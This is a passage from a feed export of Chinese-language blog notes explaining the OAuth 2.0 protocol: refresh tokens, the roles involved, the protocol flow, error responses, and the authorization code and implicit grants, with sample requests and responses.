&lt;h2 id=&quot;geng-xin-ling-pai&quot;&gt;更新令牌&lt;&#x2F;h2&gt;
&lt;p&gt;令牌的有效期到了，如果让用户重新走一遍上面的流程，再申请一个新的令牌，很可能体验不好，而且也没有必要。OAuth 2.0 允许用户自动更新令牌。&lt;&#x2F;p&gt;
&lt;p&gt;具体方法是，B 网站颁发令牌的时候，一次性颁发两个令牌，一个用于获取数据，另一个用于获取新的令牌（refresh token 字段）。令牌到期前，用户使用 refresh token 发一个请求，去更新令牌。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;
https:&amp;#x2F;&amp;#x2F;b.com&amp;#x2F;oauth&amp;#x2F;token?
  grant_type=refresh_token&amp;amp;
  client_id=CLIENT_ID&amp;amp;
  client_secret=CLIENT_SECRET&amp;amp;
  refresh_token=REFRESH_TOKEN
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;上面 URL 中，&lt;code&gt;grant_type&lt;&#x2F;code&gt;参数为&lt;code&gt;refresh_token&lt;&#x2F;code&gt;表示要求更新令牌，&lt;code&gt;client_id&lt;&#x2F;code&gt;参数和&lt;code&gt;client_secret&lt;&#x2F;code&gt;参数用于确认身份，&lt;code&gt;refresh_token&lt;&#x2F;code&gt;参数就是用于更新令牌的令牌。&lt;&#x2F;p&gt;
&lt;p&gt;B 网站验证通过以后，就会颁发新的令牌。&lt;&#x2F;p&gt;
&lt;p&gt;写到这里，颁发令牌的四种方式就介绍完了。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.ruanyifeng.com&#x2F;blog&#x2F;2019&#x2F;04&#x2F;github-oauth.html&quot;&gt;下一篇文章&lt;&#x2F;a&gt;会编写一个真实的 Demo，演示如何通过 OAuth 2.0 向 GitHub 的 API 申请令牌，然后再用令牌获取数据。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>OAuth2.0协议小记</title>
        <published>2025-05-17T00:00:00+00:00</published>
        <updated>2025-05-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/oauth2.0协议小记/"/>
        <id>https://vercel.juzhong.asia/obsidian/oauth2.0协议小记/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/oauth2.0协议小记/">&lt;h1 id=&quot;oauth2-0xie-yi-xiao-ji&quot;&gt;OAuth2.0协议小记&lt;&#x2F;h1&gt;
&lt;p&gt;OAuth协议解决的是给不属于我方系统的第三方应用授权访问我方系统受保护资源（例如账号等）的问题，即它是一个授权协议。&lt;&#x2F;p&gt;
&lt;p&gt;它是基于HTTP的协议，主要有四个概念、四种角色，流程主要是资源拥有者授权、系统生成token两步。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-chang-jing&quot;&gt;1 场景&lt;&#x2F;h2&gt;
&lt;p&gt;第三方应用要来访问我们系统的信息，但该应用不是我们系统的用户。&lt;&#x2F;p&gt;
&lt;p&gt;例如通过QQ账号来登录微博的场景中微博是第三方应用；&lt;&#x2F;p&gt;
&lt;p&gt;又如在云打印应用上允许应用读取你百度网盘的照片打印，这里云打印应用是第三方应用。&lt;&#x2F;p&gt;
&lt;p&gt;如果要让第三方应用访问网盘上你的照片，简单的方法是把用户名密码直接给第三方应用；这种做法的弊端是可访问你所有照片、密码泄露、没法取消授权等，因此要用其他方法以能限制第三方应用的权限。&lt;&#x2F;p&gt;
&lt;p&gt;Oauth协议要解决的就是 &lt;strong&gt;如何让 在资源所有者不用把用户名密码告诉第三方应用的情况下 第三方应用能访问系统中资源所有者的受保护的资源&lt;&#x2F;strong&gt; 的问题，术语曰“授权”问题。其引入了授权层来将第三方应用与资源拥有者做区分，即给第三方应用一个有别于资源所有者的角色来访问受保护的资源。具体而言，就是在资源拥有者同意授权后通过授权层来给第三方应用生成一个token，第三方应用以该token作为凭证来访问资源，该凭证的作用类似于密码，详见后文“协议交互流程”一节。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;OAuth provides a method for clients to access a protected resource on behalf of a resource owner. OAuth addresses these issues by introducing an authorization layer and separating the role of the client from that of the resource owner.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;当你的网站实现了OAuth协议后，很多第三方应用就可以来对接你的网站，从而可用你网站的账号去登录第三方应用、或者让第三方应用来访问你网站上的资源。实际上，也有很多基于OAuth协议的协议，比如知名的OIDC（OpenID Connect）协议就是基于OAuth来实现用户身份认证的。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenID Connect 1.0 is a simple identity layer on top of the OAuth 2.0 protocol.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;2-what&quot;&gt;2 What&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Open Protocol for Authorization that allows users to share their private resources to third-partys. It is a protocol designed to let third-party applications authenticate to perform actions as a user, without getting the user&#x27;s password.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;OAuth 是一个基于HTTP的授权协议&lt;&#x2F;strong&gt;，目前最新版本是OAuth 2.0。它定义了一套授权机制，用来向第三方应用颁发令牌（token）：数据的拥有者告诉系统，同意授权第三方应用进入系统来获取这些数据；系统从而产生一个短期的访问令牌（token），用来代替密码，供第三方应用使用，第三方应用以该token作为凭证来访问资源。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;OAuth2.0 的主要内容就是 资源拥有者授权、系统生成token 两部分&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;令牌的作用相当于密码，但有区别：（时间上）令牌有有效期限制、（空间上）令牌有权限范围（例如限制令牌可访问哪些资源）、令牌有效性可被发放方取消。令牌的作用与密码类似，校验通过了就可以进入系统，故令牌也要保密而不能泄露，且要设置较短的有效期。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-si-ge-gai-nian&quot;&gt;3 四个概念&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Credentials&lt;&#x2F;strong&gt;：凭证，如用户名、密码、access token、refresh token、授权码等。Authentication、Authorization分别都是一种Credentials。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Authentication&lt;&#x2F;strong&gt;：是什么——认证信息，通常包括&lt;strong&gt;Principal&lt;&#x2F;strong&gt; 和&lt;strong&gt;Credential&lt;&#x2F;strong&gt;（典型的是用户名和密码）。什么用——通过验证此信息来确定访问者的身份：例如确定是否是我方系统的用户、确定访问者的角色、确定是否是资源的所有者。动词&lt;strong&gt;authenticate&lt;&#x2F;strong&gt; 表示进行认证的行为。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Authorization&lt;&#x2F;strong&gt;：是什么——授权信息，通常是token。什么用——通过此信息来确定是否有访问资源的权限。在工程实践上，很多不大的系统不要求请求者传授权信息，而是直接通过认证结果（如角色）来确定访问权限。动词&lt;strong&gt;authorize&lt;&#x2F;strong&gt; 表示进行授权的行为。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Protected Resource&lt;&#x2F;strong&gt;：资源，如图片等各种数据。通常存储在服务器上，且是受系统保护的，访问者得提供 认证信息 或 授权信息 才能访问资源。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;User-Agent&lt;&#x2F;strong&gt;：代用户 执行请求 和 接收并处理响应 者，通常是浏览器。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-si-chong-jiao-se&quot;&gt;4 四种角色&lt;&#x2F;h2&gt;
&lt;p&gt;Resource Owner（resource controller、end-user）、Resource Server（resource hoster）、Client（Third-Party application）、Authorization Server&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Resource Owner&lt;&#x2F;strong&gt;：资源所有者（controller），可将资源授权给他人访问。当资源所有者指一个人时，称为&lt;strong&gt;end-user&lt;&#x2F;strong&gt;（用户）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Resource Server&lt;&#x2F;strong&gt;：资源托管者（hoster），保存资源、保护资源使得不能被随意访问。能够接收和响应 对受保护的资源的 带着access token的请求。通常就是API服务器。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Client&lt;&#x2F;strong&gt;：表示一个应用，它带着Credentials信息请求Resource Server上的资源。业务中常称为第三方应用（Third-Party application）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Authorization Server&lt;&#x2F;strong&gt;：授权服务器，用于向Client发放access token。通常也作为Authentication Server，以对Owner或Client进行authenticate。&lt;&#x2F;p&gt;
&lt;p&gt;注：&lt;&#x2F;p&gt;
&lt;p&gt;Authorization Server、Resource Server可以是同一个Server，也可不是同一个。&lt;&#x2F;p&gt;
&lt;p&gt;一个Authorization Server可以作为多个Resource Server的授权服务器。&lt;&#x2F;p&gt;
&lt;p&gt;实际上可以细分下，Client分为客户端前端、客户端后端。在OAuth2.0的几种授权机制下，有的授权机制只跟客户端前端交互、有的只跟客户端后端交互、有的与客户端前后端都有交互。&lt;&#x2F;p&gt;
&lt;p&gt;上述四个概念和四种角色串起来的交互过程：&lt;&#x2F;p&gt;
&lt;p&gt;Resource Owner 具有 Authentication 信息、Client 通过 Authorization Server 获取 Authorization 信息；&lt;&#x2F;p&gt;
&lt;p&gt;对于 Protected Resource，Resource Owner通过提供认证信息访问、Client通过提供授权信息访问；&lt;&#x2F;p&gt;
&lt;p&gt;Resource Server 通过验证来访者的认证信息或授权信息决定来访者是否可以访问Protected Resource；&lt;&#x2F;p&gt;
&lt;p&gt;上述各个过程彼此间的交互有页面交互、后台交互，页面交互通过 User-Agent 来完成。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-oauth-2-0-shou-quan-xie-yi-jiao-hu-liu-cheng-protocol-flow&quot;&gt;5 OAuth 2.0 授权协议交互流程（Protocol Flow）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-notes&#x2F;oauth2-protocol-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;总结为三个过程（四种角色中的Client分别向另三种角色申请一次，即为三个过程）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1 A、B：Client向Resource Owner申请授信&lt;&#x2F;strong&gt;（authorization grant）：可以是前者直接向后者发请求、或者由前者以Authorization Server作为中介向后者请求授权，协议中推荐用第二种；返回给Client的信息（grant）是能表示资源拥有者授权的可信凭证（crentdential），如授权码。OAuth 2.0定义了四种grant以及grant的扩展机制。&lt;&#x2F;p&gt;
&lt;p&gt;An authorization grant is a credential representing the resource owner&#x27;s authorization (to access its protected resources) used by the client to obtain an access token.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2 C、D：Client向Athorization Server申请token&lt;&#x2F;strong&gt;：前者对后者发起带有Client authentication、Owner authorization grant信息的请求，后者对这两个信息进行验证，验证通过则返回access token。&lt;&#x2F;p&gt;
&lt;p&gt;3 E、F：Client带着token向Resource Server请求Protected Resource。&lt;&#x2F;p&gt;
&lt;p&gt;前两个过程是关于授权的，标准： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749&quot;&gt;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749&lt;&#x2F;a&gt;；最后一个过程是关于Token的，标准：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6750&quot;&gt;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6750&lt;&#x2F;a&gt;。其中前两个过程最为重要，我们实现OAuth 2.0协议时主要就是实现这两个过程，可以针对前两个过程实现一个OAuth公共库供各种具体业务服务引用，第三个过程则由具体业务服务实现。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qian-yan&quot;&gt;前言&lt;&#x2F;h2&gt;
&lt;p&gt;当一个服务A（如SenseStudy实验平台）集成了OAuth 2.0协议后，第三方应用就可以通过OAuth 2.0协议接入到A，使得第三方应用可以访问A上的资源。接入的过程就是标准OAuth 2.0的几种基于HTTP的授权模式的交互过程。&lt;&#x2F;p&gt;
&lt;p&gt;第三方应用需要首先在A上注册，以获得clientId、clientSecret凭证。这两个信息相当于是第三方应用的用户名、密码，第三方应用与A对接或向A申请授权时需要用到这两个信息。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-1-cuo-wu-xiang-ying&quot;&gt;5.1 错误响应&lt;&#x2F;h2&gt;
&lt;p&gt;不管哪种授权模式，都有可能在交互过程中出错，错误信息格式的定义遵守OAuth 2.0标准，格式如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数&lt;&#x2F;th&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;error&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;错误码。在不同模式下可能有不同的值。可能的值详见：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749#section-4.1.2.1&quot;&gt;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749#section-4.1.2.1&lt;&#x2F;a&gt;、&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749#section-5.2&quot;&gt;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749#section-5.2&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;error_description&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;错误信息描述&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;error_uri&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;展示错误内容相关的uri。本模块未使用该字段，即该字段值始终为&lt;code&gt;null&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;错误响应示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;{
    &amp;quot;error&amp;quot;: &amp;quot;invalid_client&amp;quot;,
    &amp;quot;error_description&amp;quot;: &amp;quot;unmatched client and redirect uri&amp;quot;,
    &amp;quot;error_uri&amp;quot;: null
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不同授权模式（下节介绍）下出异常时的响应信息不尽相同。对于带授权页面的授权模式（前两种），redirect uri或client id无效时在授权页面提示Owner而不重定向，否则将错误信息包含在url中进行重定向；对于其他授权模式或刷新token等相关Endpoint，请求有误时也返回上述格式的错误响应。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-2-si-chong-shou-xin-authorization-grant&quot;&gt;5.2 四种授信（Authorization Grant）&lt;&#x2F;h2&gt;
&lt;p&gt;OAuth 2.0定义了四种Authorization Grant（或称 authorization flow），详情可参阅：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749#section-4&quot;&gt;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749#section-4&lt;&#x2F;a&gt;，其最终目的都是给client生成用于访问protected resource的access token。&lt;&#x2F;p&gt;
&lt;p&gt;四种授权模式中，对资源访问的保护强度依次变弱。&lt;&#x2F;p&gt;
&lt;p&gt;授权过程中应该考虑的基本点：token不能出现在url中、clientSecret不能出现在url中，等。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-1-shou-quan-ma-shou-quan-authorization-code&quot;&gt;5.2.1 授权码授权（Authorization Code）&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749#section-4.1&quot;&gt;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749#section-4.1&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-notes&#x2F;oauth2-auth-code-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最常用、功能最完整、流程最严密的授权模式。它的特点就是通过客户端的后台服务器，与&quot;服务提供商&quot;的授权服务进行互动。&lt;&#x2F;p&gt;
&lt;p&gt;过程：client以authorization server为中介向resource owner请求authorization code。具体而言：&lt;&#x2F;p&gt;
&lt;p&gt;client通过user-agent将resource owner导向authorization server；&lt;&#x2F;p&gt;
&lt;p&gt;authorization server对resource owner进行认证并获取授权信息，然后生成授权码；&lt;&#x2F;p&gt;
&lt;p&gt;authorization server附带上授权码将resource owner导回client；&lt;&#x2F;p&gt;
&lt;p&gt;client server带着授权码向authrization server请求token；&lt;&#x2F;p&gt;
&lt;p&gt;authorization server对client进行认证、校验owner的授权信息，通过则生成token返回。&lt;&#x2F;p&gt;
&lt;p&gt;（为什么不在Owner授权通过时直接生产token并返回？token在RUL不安全。实际上第二种授权模式就是该方案，见后文）&lt;&#x2F;p&gt;
&lt;p&gt;包含请求授权码、请求token两个步骤：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1 请求授权码&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;第三方应用通过浏览器将用户导向授权页面，以让用户 进行认证、选择将哪些资源授权给第三方应用访问、选择是否同意授权；当用户做好选择并同意授权后，授权服务生成一个授权码并通过指示浏览器重定向将该授权码返回给第三方应用。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;请求数据格式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数&lt;&#x2F;th&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;是否必须&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;response_type&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;值恒为&lt;code&gt;code&lt;&#x2F;code&gt;，表示授权码模式&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;scope&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String list&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用期望申请的权限列表。权限列表由A定义。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;client_id &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用的id，第三方应用在A注册时得到该值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;redirect_uri &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;false&lt;&#x2F;td&gt;&lt;td&gt;第三方应用接收授权码的uri，未传则采用注册时填的值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;state &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;false&lt;&#x2F;td&gt;&lt;td&gt;第三方应用自定义的任意状态数据，授权服务在响应请求时会将值原原本本返回&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;第三方在将用户导向本模块的上述Endpoint时将参数附加到Endpoint后面，示例：&lt;&#x2F;p&gt;
&lt;p&gt;http:&#x2F;&#x2F;localhost:8081&#x2F;oauth&#x2F;authorize?response_type=code&amp;amp;scope=get_user_info,list_student&amp;amp;redirect_uri=http:&#x2F;&#x2F;www.test.com&#x2F;api&#x2F;code&amp;amp;client_id=4af6d97c97744c13&amp;amp;state=abcd&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;响应数据格式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;用户同意授权后，授权服务将授权码及state附加到第一步所指定的redirect_uri后面作为参数，并返回重定向指令指示浏览器重定向到该目标位置。 返回的重定向location示例：&lt;&#x2F;p&gt;
&lt;p&gt;http:&#x2F;&#x2F;www.test.com&#x2F;api&#x2F;code?code=7e9a348c-xxfafdsas&amp;amp;state=abcd&lt;&#x2F;p&gt;
&lt;p&gt;当出错时（如client_id等凭证信息不正确），授权服务会返回错误信息，格式见前一节所述。同样地，这些错误信息的字段会被附加到redirect_uri后面作为参数返回给第三方应用，例如： http:&#x2F;&#x2F;www.test.com&#x2F;api&#x2F;code?error=xxx&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2 请求token&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;第三方应用带着刚获取到的授权码向授权服务请求token，若授权服务校验通过则签发token返回给第第三方应用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;请求数据格式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数&lt;&#x2F;th&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;是否必须&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;grant_type&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;值恒为&lt;code&gt;authorization_code&lt;&#x2F;code&gt;，表示授权码模式&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;code&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String list&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第一步获取的授权码&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;client_id &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用的id，第三方应用在A注册时得到该值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;client_secret &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用的secret，第三方应用在A注册时得到该值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;redirect_uri &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;与第一步中该字段的值一样&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;{
    &amp;quot;grant_type&amp;quot;:&amp;quot;authorization_code&amp;quot;,
    &amp;quot;code&amp;quot;:&amp;quot;7e9a348c-xxfafdsas&amp;quot;,
    &amp;quot;client_id&amp;quot;:&amp;quot;4af6d97c97744c13&amp;quot;,
    &amp;quot;client_secret&amp;quot;:&amp;quot;524e62c792be4ea38adc5eaace065afc&amp;quot;,
    &amp;quot;redirect_uri&amp;quot;:&amp;quot;http:&amp;#x2F;&amp;#x2F;www.test.com&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;响应数据格式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数&lt;&#x2F;th&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;access_token&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;授权服务签发的access token&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;token_type&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;token类型，通常为&lt;code&gt;bearer&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;expires_in &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;access token的有效时长，单位为秒&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;scope &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String list&lt;&#x2F;td&gt;&lt;td&gt;access token所具有的权限&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;refresh_token &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;授权服务签发的refresh token&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;返回数据示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;{
    &amp;quot;access_token&amp;quot;: &amp;quot;Bearer eyJhxx1&amp;quot;,
    &amp;quot;token_type&amp;quot;: &amp;quot;bearer&amp;quot;,
    &amp;quot;expires_in&amp;quot;: 7200,
    &amp;quot;scope&amp;quot;: [
        &amp;quot;get_user_info&amp;quot;
    ],
    &amp;quot;refresh_token&amp;quot;: &amp;quot;Bearer eyJhxx2&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;全局完整流程：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-notes&#x2F;oauth2-code-grant-flow-diagram.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-2-yin-shi-shou-quan-implicit-grant&quot;&gt;5.2.2 隐式授权（Implicit Grant）&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749#section-4.2&quot;&gt;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749#section-4.2&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-notes&#x2F;oauth2-implicit-grant-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Implicit 是为纯网页应用设计的。Implicit 设计之初，由于浏览器的同源策略不允许跨站请求，因此 Authorization Code 不可行；现在由于浏览器普遍支持 CORS，且 Implicit 本身也在安全风险，故目前建议使用 PKCE（见后文）。&lt;&#x2F;p&gt;
&lt;p&gt;Implicit 不通过第三方应用程序的服务器，直接在浏览器中向授权服务申请令牌，跳过了&quot;授权码&quot;这个步骤，因此得名。所有步骤在浏览器中完成，令牌出现在URL中故对访问者是可见的，且客户端不需要认证。&lt;&#x2F;p&gt;
&lt;p&gt;过程：client以authorization server为中介向resource owner请求授权。具体而言：&lt;&#x2F;p&gt;
&lt;p&gt;client通过user-agent将resource owner导向authorization server。请求时带着redirect uri等信息，该redirect uri通常是个带有js脚本的页面。&lt;&#x2F;p&gt;
